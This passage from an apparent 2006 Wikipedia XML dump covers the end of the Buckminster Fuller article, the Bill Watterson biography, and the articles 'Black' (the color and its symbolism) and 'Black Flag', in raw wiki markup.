*Walkup Skydome: Northern Arizona Univ. Flagstaff, AZ, USA, 502 feet / 153 m
*Round Valley High School Stadium: Springerville, AZ USA, 440 feet / 134 m
*Former Spruce Goose Hangar: Long Beach, CA, USA, 415 feet / 126 m
*Formosa Plastics Storage Facility: Mai Liao, Taiwan, 402 feet / 123 m
*Union Tank Car Maintenance Facility: Baton Rouge, LA USA, 384 feet / 117 m
*Lehigh Portland Cement Storage Facility: Union Bridge, MD USA, 374 feet / 114 m

Fuller's development of the dome and his roles as a philosopher and as a gadfly within the design and architectural communities left an important legacy.  He introduced a number of concepts, and if every one wasn't entirely new, we can still say that he honed each one well.

Thousands of geodesic domes have been built, but they are not an everyday sight in most places.  Contrary to initial hopes, in practice most of the smaller owner-built geodesic structures proved to have drawbacks (discussed in the Wikipedia section on [[geodesic dome]]s); plus, as a home, many people have been put off by the domes' unconventional appearance.

So, while an envisioned widespread and common adoption of geodesic domes is yet to materialize, Fuller's ideas, teachings, and attitude to life and creativity, in combination, have prodded designers and engineers.  What Fuller accomplished, in this sense, was to make professionals and students think &quot;outside the box&quot;; to question convention.  Fuller was followed (historically) by other designers and architects (for example, [[Norman Foster]] — especially his &quot;Armadillo&quot; project — and [[Steve Baer]]) willing to explore the possibilities of new geometries in the design of buildings, not based on the conventional rectangles.  The English writer, playwright, and philosopher [[John Dryden]] wrote something quite relevant to the pioneering forays of Fuller still to be brought to full result: &quot;We must beat the iron while it is hot, but we may polish it at leisure.&quot;

==Trivia==
*Fuller was friends with Boston artist [[Pietro Pezzati]].
*He experimented with [[polyphasic sleep]].
*A new [[allotropy|allotrope]] of [[carbon]] ([[fullerene]]) and a particular molecule of that allotrope ([[buckminsterfullerene]] or buckyballs) have been named after him.
*On [[July 12]], [[2004]] the [[United States Post Office]] released a new commemorative stamp honoring Buckminster Fuller on the 50th anniversary of his patent for the geodesic dome and on the occasion of his 109th birthday.
*Fuller documented his life every 15 minutes from 1915 to 1983, leaving behind 270 feet / 80 m worth of journals.  He called this the [[Dymaxion Chronofile]]. His is said to be the most documented human life in history.
:''&quot;If somebody kept a very accurate record of a human being, going through the era from the Gay’90’s, from a very different kind of world through the turn of the century — as far into the twentieth century as you might live. I decided to make myself a good case history of such a human being and it meant that I could not be judge of what was valid to put in or not. I must put everything in, so I started a very rigorous record.&quot;'' [http://news-service.stanford.edu/news/2003/january22/bucky-122.html][http://www-sul.stanford.edu//depts/spc/fuller/about.html]
*Buckminster and [[John Denver]] were very close friends and the song &quot;What One Man Can Do&quot; on John's 1982 album &quot;Seasons of the Heart&quot; was written on the occasion of R. Buckminster's 85th birthday. John dedicated this song to him.

==Neologisms==
'''''World-around''''' is a term coined by Fuller to replace ''worldwide''. The general belief in a [[flat Earth]] died out in the [[Middle Ages]], so using ''wide'' is an [[anachronism]] when referring to the surface of the Earth — a [[spheroid]]al surface has [[area]] and encloses a [[volume]], but has no width.  Fuller held that unthinking use of [[superseded scientific theory|obsolete scientific ideas]] detracts from and misleads intuition.  The terms '''sunsight''' and '''sunclipse''' are other neologisms, according to [[Allegra Fuller Snyder]] collectively coined by the Fuller family, replacing ''sunrise'' and ''sunset'' in  order to overturn the geocentric bias of most pre-[[Copernicus|Copernican]] [[celestial mechanics]].

Fuller also coined the phrase [[Spaceship Earth]], and coined the term (but did not invent) ''[[tensegrity]].''

It has also been claimed that Fuller coined the phrase [[debunk]] in 1927, however many credit [[William Woodward]] for the term in 1923.

==Concepts and buildings ==
''[http://www.bfi.org/patentlist.htm List of patents]''

His concepts and buildings include:
*[[Dymaxion house]] (1928)  See [[autonomous building]]
*Aerodynamic [[Dymaxion car]] (1933)
*Prefabricated compact bathroom cell (1937)
*[[Dymaxion Map]] of the world (1946)  
*Buildings (1943)
*[[Tensegrity]] structures (1949)
*[[Geodesic dome]] for Ford Motor Company (1953)
*Patent on [[Geodesic dome|geodesic domes]] (1954)
*The [[World Game]] (1961) and the World Game Institute (1972)
*Patent on [[octet truss]] (1961)

==Literature ==
His publications include:
*''4-D Timelock'' (1928)
*''Nine Chains to the Moon'' (1938)
*''The Dymaxion World of Buckminster Fuller'' (1960) With Robert W. Marks. Anchor Press, Doubleday &amp; Company, Inc.
*''Untitled Epic Poem on the History of Industrialization'' (1962)
*''Education Automation: Freeing the Scholar to Return to his Studies'' (1962, ISBN 0809301377) - online at http://reactor-core.org/education-automation.html
*''Operating Manual for Spaceship Earth'' (1963/1969/1971, ISBN 0525474331) - online at http://bfi.org/node/422
*''Your Private Sky'' (ISBN 3907044886)
*''Ideas and Integrities'' (1969, ISBN 0020926308)
*''Utopia or Oblivion: The Prospects for Humanity'' (1969, ISBN 0713901349)
*''Approaching the Benign Environment'' (1970)
*''I Seem to Be a Verb'' (1970)
*''No More Secondhand God and Other Writings''
*''Intuition'' (1973, ISBN 0385012446)
*''Buckminster Fuller to Children of Earth'' (1972)
*''Earth, Inc.'' (1973)
*''Synergetics:  Explorations in the Geometry of Thinking'' (1975, ISBN 002541870X) - online at http://www.rwgrayprojects.com/synergetics/synergetics.html
*''Tetrascroll: Goldilocks and the Three Bears: A Cosmic Fairy Tale'' (1975) - online at http://www.fullereducation.org/fec_folder/tetrascroll.pdf
*''And It Came to Pass — Not to Stay'' (1976, ISBN 0025418106)
*''R. Buckminster Fuller on Education'' (1979, ISBN 0870232762)
*''Critical Path'' (1981, ISBN 0312174918)
*''Synergetics 2: Further Explorations in the Geometry of Thinking'' (1983, ISBN 0025418807)
*''Grunch of Giants'' (1983, ISBN 0312351941) - online at http://reactor-core.org/grunch-of-giants.html
*''Inventions: the Patented Works of R. Buckminster Fuller'' (1983)
*''Cosmography'' (1992, posthumous)
*''Humans in Universe'' (1983, Mouton; ISBN 3110097729); with Anwar Dil

==Secondary literature ==
*Sidney Rosen ''Wizard of the Dome: R. Buckminster Fuller, Designer for the Future''. 1969 (ISBN 0316757071)
*Hugh Kenner ''Bucky: A guided tour of Buckminster Fuller''. 1973 (ISBN 0688001416)
*Donald Robertson ''Mind's Eye Of Buckminster Fuller''. 1974 Vantage Press, Inc., New York.
*Alden Hatch ''Buckminster Fuller At Home In The Universe''. 1974  Crown Publishers, New York.
*E. J. Applewhite ''Cosmic Fishing: An account of writing Synergetics with Buckminster Fuller''.  1977 (ISBN 0025027107)
*[http://www.angelfire.com/mt/marksomers/40.html ''A Fuller Explanation''] by Amy C. Edmondson offers a discussion of his work in geometry and systems.
*Buckminster Fuller also appears as a character in [[Paul Wühr]]'s book &quot;Das falsche Buch&quot;.
*Lloyd Sieden ''Buckminster Fuller's Universe, His Life and Work''. 1989 (ISBN 0738203793), explores Fuller's personal life, his beliefs and drives.
*Martin Pawley  ''Buckminster Fuller''. 1991 (ISBN 080081116X), offers an architectural critic's assessment of Fuller's ideas and projects.
*His former student [[J. Baldwin]] wrote ''BuckyWorks: Buckminster Fuller's Ideas for Today'' 1997 (ISBN 0471198129).
*{{cite book | author=Erle, Schuyler; Gibson, Rich; &amp; Walsh, Jo | title=Mapping Hacks | publisher=Sebastopol, CA: O'Reilly Media, Inc. | year=2005 | id=ISBN 0596007035}}  Preface dedicates book to Bucky and relates the potential of networked [[virtual globe]]s to Bucky's Geoscope.

*McHale, John. ''R. Buckminster Fuller''. George Brazillier, Inc., New York. hardback. 1962.
*Lord, V. Athena. ''Pilot For Spaceship Earth''. Macmillan Publishing Company, Inc., New York. hardback. 1978.
*Snyder, Robert. ''Buckminster Fuller: An Autobiographical Monologue/Scenario''. St. Martin's Press, New York. hardback. 1980.
*''Synergetic Stew: Explorations In Dymaxion Dining''. The Buckminster Fuller Institute, Philadelphia. paperback. 1982.
*Ward, James. Ed. ''The Artifacts Of R. Buckminster Fuller, A Comprehensive Collection of His Designs and Drawings in Four Volumes: Volume One. The Dymaxion Experiment,1926-1943; Volume Two. Dymaxion Deployment, 1927-1946; Volume Three. The Geodesic Revolution, Part 17 1947-1959; Volume Four. The Geodesic Revolution, Part 2, 1960-1983'': Edited with descriptions by James Ward. Garland Publishing, New York.1984
*Brenneman, Richard. ''Fuller's Earth, A Day With Bucky And The Kids'' St. Martin's Press, New York, c. 1984. hardcover
*E. J. Applewhite, ed. ''Synergetics Dictionary, The Mind Of Buckminster Fuller; in four volumes''. Garland Publishing, Inc. New York and London.1986
*Potter, R. Robert. ''Buckminster Fuller (Pioneers in Change Series)''. Silver Burdett Publishers. 1990
*Pawley, Martin. ''Buckminster Fuller''. Taplinger Publishing Company, New York.1991. hardcover.
*Krause, Joachim and Lichtenstein, Claude. ed. ''Your Private Sky, R. Buckminster Fuller: The Art Of Design Science''. Lars Mueller Publishers. 2001.
*Zung, T.K. Thomas. ''Buckminster Fuller: Anthology for a New Millenium''. St. Martin’s Press. 2001.

==Former students==
*[[J. Baldwin]]
*[[Pierre Cabrol]]
*[[Joseph Clinton]]
*[[David Johnston (builder)|David Johnston]]
*[[Peter Pearce]]
*[[Shoji Sadao]]
*[[Kenneth Snelson]]
*[[Ruth Asawa]]

==External links==
{{wikiquote}}

*[http://www.bfi.org Buckminster Fuller Institute]: With several complete works online.
*[http://www.rwgrayprojects.com/rbfnotes/toc.html Notes to R. Buckminster Fuller's Work]
*[http://www.grunch.net/synergetics/ Synergetics on the Web]
*[http://www.zometool.com/ Build Genius: Zome System]
*[http://www.cjfearnley.com/buckyrefs.html Chris Fearnley's List of Buckminster Fuller Resources on the Internet]
*[http://www.cjfearnley.com/fuller-faq.html FAQ — R. Buckminster Fuller]
*[http://www.newciv.org/worldtrans/whole/bucky.html Fuller, R. Buckminster] — includes list of books written by and about Fuller
*[http://www.thirteen.org/bucky R. Buckminster Fuller on PBS]
*[http://shop.usps.com/cgi-bin/vsbv/postal_store_non_ssl/display_products/productDetail.jsp?OID=4849106 Information about Fuller's commemorative postage stamp]
*[http://www.wired.com/news/culture/0,1284,64155,00.html?tw=wn_tophead_5 Wired News Article on the Buckminster stamp]
*[http://www.hfmgv.org/dymaxion/ The Dymaxion house at the Henry Ford museum]
*Buckminster Fuller discussed on [http://www.ibiblio.org/wunc_archives/sot/index.php?p=390 The State of Things]
*Buckminster Fuller and interstellar communication explored: [http://www.oracleinsights.com/blog/index.php/2006/01/08/an-unlikely-oracle-r-buckminster-fuller/ 'An Unlikely Oracle: R. Buckminster Fuller' ]
*[http://www.lazyreader.com/blog/index.php/archives/169 The Buckminster Alternative] Fuller's life as a lesson in living

===Audio and video===
*[http://www.philosophersforum.net/.3c52912f/cmd.233/enclosure.3c529131/BuckyFuller.mp3 Technology and peace]
*[http://www.bfi.org/audio/ Directory of Audio and Video real streams from the Buckminster Fuller Institute]
*[http://memeticdrift.net/bucky/index.html The &quot;Everything I Know&quot; 42-hour lecture session] — video, audio, and full transcripts.

[[Category:Buckminster Fuller|Fuller, Buckminster]]
[[Category:1895 births|Fuller, Buckminster]]
[[Category:1983 deaths|Fuller, Buckminster]]
[[Category:American architects|Fuller, Buckminster]]
[[Category:American inventors|Fuller, Richard]]
[[Category:Autodidacts|Fuller, Richard]]
[[Category:ISBN needed]]
[[Category:Presidential Medal of Freedom recipients|Fuller, Richard]]


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'''William B. &quot;Bill&quot; Watterson II''' (born [[July 5]], [[1958]]) is the author of the [[comic strip]] ''[[Calvin and Hobbes]]''. Watterson was born in [[Washington, D.C.]], where his father, James G. Watterson (1932 - ), worked as a patent examiner while going to law school, until becoming a patent attorney in [[1960]]. The family moved to [[Chagrin Falls, Ohio|Chagrin Falls]], [[Ohio]] when Bill was six years old; his mother (Kathryn) became a city council member. He has a younger brother, Tom, who is a high school teacher in Austin, Texas.

In [[1980]], Watterson graduated from [[Kenyon College]] in [[Gambier, Ohio|Gambier]] with a degree in [[political science]]. Immediately the ''Cincinnati Post'' offered him a job drawing political [[cartoon|cartoons]] for a six-month trial period: 

:The agreement was that they could fire me or I could quit with no questions asked if things didn't work out during the first few months. Sure enough, things didn't work out, and they fired me, no questions asked. 
:My guess is that the editor wanted his own [[Jeff MacNelly]] (a [[Pulitzer Prize|Pulitzer]] winner at 24), and I didn't live up to his expectations. My [[Cincinnati]] days were pretty [[Franz Kafka|kafkaesque]]. I had lived there all of two weeks, and the editor insisted that most of my work be about local, as opposed to national, issues. Cincinnati has a weird, three-[[political party|party]], [[city manager]]-government, and by the time I figured it out, I was standing in the [[unemployment]] lines. I didn't hit the ground running. Cincinnati at that time was also beginning to realize it had major cartooning talent in [[Jim Borgman]], at the city's other paper, and I didn't benefit from the comparison. [http://home3.inet.tele.dk/stadil/interw.htm]

''Calvin and Hobbes'' was first published on [[November 18]], [[1985]]. 

Watterson spent a huge portion of his career trying to change the climate of comics. He believed that the artistic value of comics was being undermined, and that the space they occupied in newspapers continually decreased and was subject to arbitrary whims of publishers (on one occasion, Watterson said &quot;I am a cartoonist, not the leader of a commercial Calvin and Hobbes factory.&quot;) Watterson believes that art should not be judged by the medium for which it is created (i.e., that there is no &quot;high&quot; art or &quot;low&quot; art, just [[art]]). 

Watterson is also known for battling against the arbitrary structure publishers imposed on newspaper cartoons: the standard cartoon starts with a large wide rectangle featuring the cartoon's logo, and the strip is presented in a series of rectangles of different widths, limiting the cartoonist's options of allowable presentation.  Watterson managed to get an exception to this constraint for ''Calvin and Hobbes'', allowing him to draw his Sunday cartoons the way he wanted. In many of them the panels overlap or contain their own panels; in some of them the action takes place diagonally across the strip.

Moreover, Watterson battled constantly against the many things that he felt cheapened his comic. He refused to merchandise his creation on the grounds that pasting ''Calvin and Hobbes'' images on commercially-sold coffee mugs, stickers and t-shirts would devalue the characters and their personalities. This also explains his refusal to allow the strip to become an [[animated series]]. Watterson fought this uphill battle against the pressure from publishers with success, until and beyond the end of his career.

Watterson took two extended breaks from writing new strips, from May [[1991]] to February [[1992]] and from April through December of [[1994]]. 

In a brief letter newspaper editors made public [[November 9]], [[1995]], Watterson announced his retirement:

::Dear Editor:
::I will be stopping Calvin and Hobbes at the end of the year. This was not a recent or an easy decision, and I leave with some sadness. My interests have shifted however, and I believe I've done what I can do within the constraints of daily deadlines and small panels. I am eager to work at a more thoughtful pace, with fewer artistic compromises. I have not yet decided on future projects, but my relationship with Universal Press Syndicate will continue.
::That so many newspapers would carry Calvin and Hobbes is an honor I'll long be proud of, and I've greatly appreciated your support and indulgence over the last decade. Drawing this comic strip has been a privilege and a pleasure, and I thank you for giving me the opportunity.
::Sincerely,
::Bill Watterson

The last strip of ''Calvin and Hobbes'' was published on [[December 31]], 1995.  Since retiring, Bill Watterson has taken up painting, often drawing landscapes of the woods with his father. He has also published several anthologies of ''Calvin and Hobbes'' strips.

According to the October 2005 issue of ''[[Maxim (magazine)|Maxim]]'', Watterson requested that Universal Press Syndicate not forward any fan mail.

Living in relative seclusion in Chagrin Falls [http://www.clevescene.com/issues/2003-11-26/feature.html] with his wife Melissa, Watterson refuses to sign autographs or give interviews, emerging only occasionally into the public eye. On [[December 21]], [[1999]], a short piece called &quot;Drawn Into a Dark But Gentle World,&quot; written by Watterson to mark the forthcoming end of the comic strip ''[[Peanuts]],'' was published in the ''[[Los Angeles Times]]''.[http://ignatz.brinkster.net/cpeanuts.html] The Wattersons have been seen sometimes roller skating at the rink in Chagrin Falls.

==Awards==
Watterson was awarded the [[National Cartoonist Society]] Humor Comic Strip Award for 1988, and their [[Reuben Award]] for [[1986]].  He was the youngest person to ever receive the award.  He received the same award in [[1988]], and was nominated again in [[1992]].

==References==
*  Renner, James.  ''[http://www.clevescene.com/issues/2003-11-26/feature.html &quot;Missing!&quot;]'', clevescene.com.  November 26, 2003.  Retrieved October 25, 2005.
* ''[http://www.cnn.com/2005/SHOWBIZ/books/10/24/reclusive.cartoonist.ap/index.html &quot;Where's 'Calvin and Hobbes' creator?&quot;]'', CNN / The Associated Press.  October 24, 2005.  Retrieved October 25, 2005; removed sometime after. [http://www.mercurynews.com/mld/mercurynews/news/breaking_news/12972054.htm Mirror]
* [http://www.reuben.org/ncs/awards.asp NCS Awards]

==External links==
Bill Watterson has given two speeches:
* &quot;The Cheapening of the Comics,&quot; a speech delivered at the Festival of Cartoon Art at [[Ohio State University]] ([[October 27]], [[1989]]) [http://hobbes.ncsa.uiuc.edu/comics.html]
* &quot;Some Thoughts on the Real World by One who Glimpsed It and Fled,&quot; a commencement speech delivered at Kenyon College ([[May 20]], [[1990]]) [http://home3.inet.tele.dk/stadil/spe_kc.htm]
* [http://calvinandhobbes.michaelgoonan.net/billwatterson.html Michael's Calvin and Hobbes Website-Bill Watterson] Includes information about the genius behind Calvin and Hobbes, as well as speeches and interviews.
* [http://www.ucomics.com/calvinandhobbes/ Calvin &amp; Hobbes Comics at uComics]

==Influences==
Bill Waterson said in one of his interviews that he had been influenced by:
Charles Schulz, for his work in &quot;Peanuts,&quot; Walt Kelly for his comic, &quot;Pogo,&quot; and George Herriman for &quot;Krazy Kat.&quot;

==Notable==
* &quot;Fans From Around the World Interview Bill Watterson&quot;, published in advance of the complete Calvin &amp; Hobbes collection release, ([[September 22]], [[2005]]) [http://www.andrewsmcmeel.com/calvinandhobbes/interview.html]

Washington Post book review of &quot;The Complete Calvin and Hobbes&quot;, October 2005, including broad look at Watterson's career:

* [http://www.washingtonpost.com/wp-dyn/content/article/2005/10/03/AR2005100301754.html &quot;After an Early Bedtime, Calvin and Hobbes Are Up and Running in a New Collection&quot;]

* [http://jawboneradio.blogspot.com/2005/11/jawbone-81-in-search-of-bill-watterson.html Interview with Bill Watterson's mother] (interview begins around 7:10)

Watts Hoffman law firm bio of Bill's father:
* [http://www.wattshoff.com/lawyers/counsel.asp Of Counsel - James G. Watterson]

Picture of Bill's father (the inspiration of Calvin's father)
*[http://www.chagrin-falls.org/Council_Staff/Personnel/wattersonx150.jpg Chagrin Falls Council Staff]

{{wikiquote}}

[[Category:1958 births|Watterson, Bill]]
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[[Category:Comic strip cartoonists|Watterson, Bill]]
[[Category:People from Ohio|Watterson, Bill]]
[[Category:Reuben Award winners|Watterson, Bill]]

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  </page>
  <page>
    <title>Britannica Public Domain</title>
    <id>4034</id>
    <revision>
      <id>34638555</id>
      <timestamp>2006-01-10T18:14:36Z</timestamp>
      <contributor>
        <username>R.Koot</username>
        <id>170083</id>
      </contributor>
      <minor />
      <comment>fix double redirect</comment>
      <text xml:space="preserve">#REDIRECT [[11th edition of the Encyclopædia Britannica]]</text>
    </revision>
  </page>
  <page>
    <title>Black</title>
    <id>4035</id>
    <revision>
      <id>41791547</id>
      <timestamp>2006-03-01T19:57:24Z</timestamp>
      <contributor>
        <username>KocjoBot</username>
        <id>467651</id>
      </contributor>
      <minor />
      <comment>robot  Adding: gl</comment>
      <text xml:space="preserve">{{dablink|This article is about the color black; for other uses, see [[Black (disambiguation)]].}}

'''Black''' is a [[color]] with several subtle differences in meaning.

==Color or light==
{{infobox color|title=Black|hex=000000|textcolor=white|
 r=0|g=0|b=0|
 c=0|m=0|y=0|k=100 †|
 h=-|s=-|v=0
}}Black can be defined as the visual impression experienced in directions from which no [[visible light]] reaches the eye. (This makes a contrast with [[white]]ness, the impression of any combination of [[color]]s of [[light]] that equally stimulates all three types of color-sensitive visual receptors.) 

Pigments that absorb light rather than reflect it back to the eye &quot;look black&quot;. A black pigment can, however, result from a ''combination'' of several pigments that collectively absorb all colors. If appropriate proportions of three primary pigments are mixed, the result reflects so little light as to be called &quot;black&quot;.

This provides two superficially opposite but actually complementary descriptions of black. Black is the lack of all colors of light, or an exhaustive combination of multiple colors of pigment. See also [[Primary colors]]
{| style=&quot;border:solid 1px black;&quot;
|+ † various [[CMYK]] combinations
!c!!m!!y!!k
|-
|align=right|0%||align=right|0%||align=right|0%||align=right|100%||align=center|(canonical)
|-
|align=right|100%||align=right|100%||align=right|100%||align=right|0%||align=center|(ideal inks, [[subtractive color#limitations|theoretical only]])
|-
|align=right|100%||align=right|100%||align=right|100%||align=right|100%||align=center|([[registration black]])
|}

In [[physics]], a [[black body]] is a perfect absorber of light, but by a rule derived by [[Albert Einstein|Einstein]] it is also, when heated, the best emitter. Thus, the best radiative cooling, out of sunlight, is by using black paint, though it is important that it be black (a nearly perfect absorber) in the [[infrared]] as well.

In elementary science far Ultraviolet light is called &quot;black light&quot; because, unseen per se, it causes many minerals and other substances to [[Phosphorescence | fluoresce]].

==Usage, symbolism, colloquial expressions==
In the [[Western world]], black is most often used with a '''negative''' connotation. The reasons for this are various, but the most widely accepted explanations are that [[night]] is experienced by humans as negative and dangerous. A secondary reason is that stains are most visible as dark additions to pale materials. In traditional class-based Western cultures &quot;pale&quot; skin indicated genteel domestic or intellectual indoor-work as opposed to rough outdoor labor in the fields. Aspects of this black/white opposition are not unique to the West, as, for example in the [[India]]n [[varna (caste)|varna]] system. [[African]], [[Afro-Caribbean]] and [[African-American]] writers such as [[Frantz Fanon]], [[Langston Hughes]], [[Maya Angelou]], and [[Ralph Ellison]] in particular identify a number of negative symbolisms surrounding the word &quot;black&quot;, arguing that the good vs. bad dualism associated with white and black provide prejudiced connotations to [[color metaphors for race]].

* A &quot;black day&quot;, in these cultures, would refer to a sad or tragic day. The Romans already marked [[fasti]] days with white stones and [[nefasti]] days with black.
** e.g. the [[Black September in Jordan]] refers to a month in which thousands were killed. 
**[[Black Monday]], [[stock market crash]] on [[October 19]], [[1987]]
**[[Wall Street Crash 1929|Black Tuesday]], stock market crash on [[October 29]], [[1929]] which is the start of the [[Great Depression]].
**[[Black Wednesday]] caused Britain to pull out of the [[ERM]].
**[[Wall Street Crash 1929|Black Thursday]], stock market crash on [[October 24]], [[1929]]
**[[Black Friday]], various tragic events. Also the day after Thanksgiving, the official start to the US holiday shopping season.
*many poems and songs use the word black negatively (e.g. &quot;''Paint It Black''&quot; ([[Rolling Stones]]), &quot;''Baby's In Black''&quot; ([[Beatles]]), &quot;''Black Eyed Dog''&quot; ([[Nick Drake]]), &quot; Fade to Black&quot; ([[Metallica]]).
* In these cultures, the color black is often used in painting, film, and literature to evoke a sense of the [[fear]] or to symbolize [[death]]. It has also been adopted as a symbolic color of the [[Halloween]] festival.
*In English [[heraldry]], black means darkness, doubt, ignorance, and uncertainty. (The American Girls Handy Book, p. 370) 
* Black is often a color of [[mourning]]. Historically, widows and widowers were often expected to wear black. 
* [[Black comedy]] is a form of [[comedy]] dealing with morbid and serious topics.
* [[Black magic]] is an evil form of [[magic (paranormal)|magic]], often connected with [[death]].
* A [[blacklist]] is a list of undesirable persons or entities.
* Evil witches are sterotypically dressed in black and good fairies in white.  Melodrama villains are dressed in black and heroines in white dresses.  In many [[Western (genre)|Hollywood Westerns]], bad cowboys wear [[black hat]]s while the good ones wear white. Funeral dress is black, wedding gowns are white.
* In [[computer security]], a [[blackhat]] is an attacker with evil intentions, while a [[whitehat]] bears no such ill will.
* The [[black market]] is illegal.
* [[Blackmail]] is illegal and is perceived as immoral.  
* The [[black sheep]] of the family is the ne'er-do-well.  
* The infamous &quot;[[black hole of Calcutta]].&quot;  
* To &quot;blackball&quot; someone is to prevent admission.  
* Black thoughts are wicked ones.  
* A black mood is a bad one (e.g. [[Winston Churchill]]'s depression, which he called &quot;my black dog&quot;).  
* A black cat often means bad luck.
* If you sink the black eight-ball in billiards before all others are out of play, you lose.  (The ball with which you sink all others is the white [[cue ball]].)
* A black mark against you is a bad thing.
* A black-hearted person is mean and unloving.
* [[Black propaganda]] is the use of known falsehoods, partial truths, or masquerades in propaganda to confuse an opponent.

However, black can have '''positive''' symbolism. 
* In the [[Maasai]] tribes of [[Kenya]] and [[Tanzania]], the color black is associated with rain clouds, becoming a symbol of life and prosperity. 
* In Western [[fashion]], black is considered reliably stylish. This seems to be for reasons of contrast with the white skin (conversely, white t-shirts or suits are always stylish among African-Americans).
** The colloquialism &quot;[[the new black]]&quot; is a reference to the latest trend or fad, on the basis that black is always fashionable.
* Black is seen as a color of seriousness and authority.
** Many [[priest]]s of the older [[religious denomination]]s traditionally wear black.
** The ''[[beltzak]]'' (&quot;blacks&quot; after their uniform) are the riot control units of the [[Basque Autonomous Police]]
*To say one's accounts are &quot;in the black&quot; is used to mean that one is free of debt. 
** (Being &quot;in the red&quot; is to be in debt—in traditional bookkeeping, negative amounts, such as costs, were printed in red ink, and positive amounts, like [[revenues]], were printed in black ink, so that if &quot;the bottom line&quot; is printed in black, the firm is profiting.)
*The most sought-after rank in any martial art is a black belt.
*[[Cathar]] Perfects wore black (Cathars viewed black as a color of perfection).
*Dreaming of a black cat, or a black cat walking towards you, means good luck. 

Black can also be used in many '''neutral''' ways. 
*The term black is often used in the [[Western World|West]] to denote [[race]] for persons whose [[skin color]] ranges from light to darker shades of  [[brown]].  For a discussion of usage, see the main entry at [[Black (people)]] and [[Color metaphors for race]].
* In arguments, things can be [[black-and-white]], meaning that the issue at hand is [[dichotomy|dichotomized]]. However, this dualism is fraught with danger, as one may assign the colors &quot;black and white&quot; to bad and good, respectively.  Also, few arguments have only two opposing sides.
* Black frequently symbolizes [[ambiguity]], [[secrecy]], and the [[unknown]]. 
** A ''[[black box]]'' is any device whose internal workings are unknown or irrelevant.
** A ''black project'' is a secretive project, like [[Enigma machine|Enigma Decryption]], [[Narcotics]], or police [[sting operation]]s.
** The [[blackshirt]]s were Italian Fascist militias (negative for anti-fascists, but presumably positive for the original fascists themselves) 
** Some organizations are called &quot;black&quot; when they keep a low profile, like [[Société Anonyme|Sociétés Anonymes]] and [[secret societies]].
* From [[1988]] until his death in the [[2001]] [[Daytona 500]], [[NASCAR]] driver [[Dale Earnhardt]] was famous for driving a black [[Chevrolet]].  
* The term &quot;[[black hole]]&quot; is applied to [[Gravitational collapse|collapsed]] [[star]]s. This term is metaphorical in the extreme, because few properties of black objects or black voids apply to black holes. However, light emitted within a black hole's [[event horizon]] cannot escape, hence a black hole cannot be directly observed.
* The national [[Rugby Union|rugby]] team of [[New Zealand]] is called the ''[[All Blacks]]'', in reference to their black outfits. 
* [[Football (soccer)|Association football (soccer)]] [[referee (football)|referees]] traditionally wear all-black uniforms, however nowadays other uniform colors may also be worn. 
* In [[auto racing]], a black [[flag]] signals a certain driver to go into the pits. 
* Black is also used for [[anarchist symbolism]], sometimes split in diagonal with other colors for further symbolism. The plain black flag is explained as the opposite of a white flag signalling surrender. It is also sometimes an anarchist dress code, with a practical benefit of not attracting attention and making later identification of a subject difficult. This strategy referred to as a [[black bloc]]. 
* In [[Germany|German]] politics 'black' is used colloquially to refer to the conservative parties [[Christian-Democratic_Union_of_Germany|CDU]] and [[Christian_Social_Union_in_Bavaria|CSU]]
* In [[Portugal|Portuguese]] politics, black is the party colour of the [[Leftwing Bloc]]
* In ancient [[China]], black was the symbol of ''North'' and ''Water'', one of the main five colors. There is no negative or positive meaning associated with it. In fact, in Chinese culture, white is the color associated with death.
* Black is the color of the [[snooker]] [[ball]] which has a 7-point value, and also the eighth [[billiard ball]]. In the game of [[eight ball]], this ball is the ultimate object of the game, but, if accidentally sunk, means instant loss of the game.
* A polished black mirror is used for [[scrying]], and is thought to help see into the [[paranormal]] world without interference or distraction.
* Members of the modern [[subculture]] of [[Goth|Goths]] dress predominantly in black.
* A large number of sports teams have uniforms designed with black colors - many feeling the color sometimes inparts a psychological advantage in its wearers.  Among the more famous (or infamous) include the [[Oakland Raiders]] and [[Pittsburgh Steelers]] of the [[NFL]], the [[San Antonio Spurs]] of the [[NBA]], and [[Internazionale Milano F.C.|Inter Milan]] of the [[Serie A]] of the [[Italian football league system|Italian soccer leagues]].

* Interestingly, among the Chinese communities of South-East Asian countries such as Singapore &amp; Malaysia, &quot;hak gau peh&quot; which literally means &quot;black dog beer&quot; in Cantonese refers to [[Guinness]] Stout.

==Black pigments==
* [[Carbon black]]
* [[Ivory black]]
* [[Mars black]]

==See also==
*[[List of colors]]
{{web colors}}
[[Category:Shades of gray]]
[[Category:Spoken articles]]

{{Spoken Wikipedia|black.ogg|2005-08-16}}

[[bs:Crna]]
[[ca:Negre]]
[[cs:Černá]]
[[da:Sort]]
[[de:Schwarz]]
[[el:Μαύρο]]
[[es:Negro (color)]]
[[eo:Nigro]]
[[fr:Noir]]
[[gl:Negro (cor)]]
[[id:Hitam]]
[[it:Nero]]
[[he:שחור]]
[[lt:Juoda]]
[[nl:Zwart]]
[[ja:黒]]
[[no:Svart]]
[[nn:Svart]]
[[pl:Barwa czarna]]
[[pt:Preto]]
[[ru:Чёрный цвет]]
[[scn:Niuru]]
[[simple:Black]]
[[sk:Čierna]]
[[sl:Črna]]
[[sr:Црна боја]]
[[fi:Musta]]
[[sv:Svart]]
[[vi:Đen (màu)]]
[[tr:Siyah]]
[[zh:黑色]]</text>
    </revision>
  </page>
  <page>
    <title>Black Flag</title>
    <id>4036</id>
    <revision>
      <id>41063773</id>
      <timestamp>2006-02-24T20:50:21Z</timestamp>
      <contributor>
        <ip>200.175.230.1</ip>
      </contributor>
      <text xml:space="preserve">'''Black Flag''' can refer to:

*[[Black Flag (insecticide)|Black Flag]] is a brand of [[insecticide]] made by the Fountainhead Group.

*[[Czarny Sztandar|Black Flag]] ([[1903]]) was a [[Białystok]] [[anarchist]] [[organisation]].
*[[Black Flag (band)|Black Flag]] was a [[punk rock]] band.
*''[[Black Flag (newspaper)|Black Flag]]'' is the name of an [[anarchism|anarchist]] [[newspaper]].
*'''The Black Flag''' is a progressive website based in Roswell, NM ([http://www.theblackflag.org]).
*The '''[[Black Flag Army]]''' was a bandit unit operating around [[Hanoi]] in the late 19th century
Additionally, &quot;'''black flag'''&quot; may refer to an actual flag:
[[Image:Black flag.jpg|thumb|The black flag is the traditional [[Anarchism|anarchist]] symbol]]
*The '''[[Anarchist_symbolism#Black_flag|Anarchist black flag]]''' has been an [[anarchist]] [[anarchist symbolism|symbol]] since the [[1880s]]. Anarchists use either a plain black flag or a black flag with an &quot;A&quot; for [[anarchy (word)|anarchy]] inside a circle for unity. 
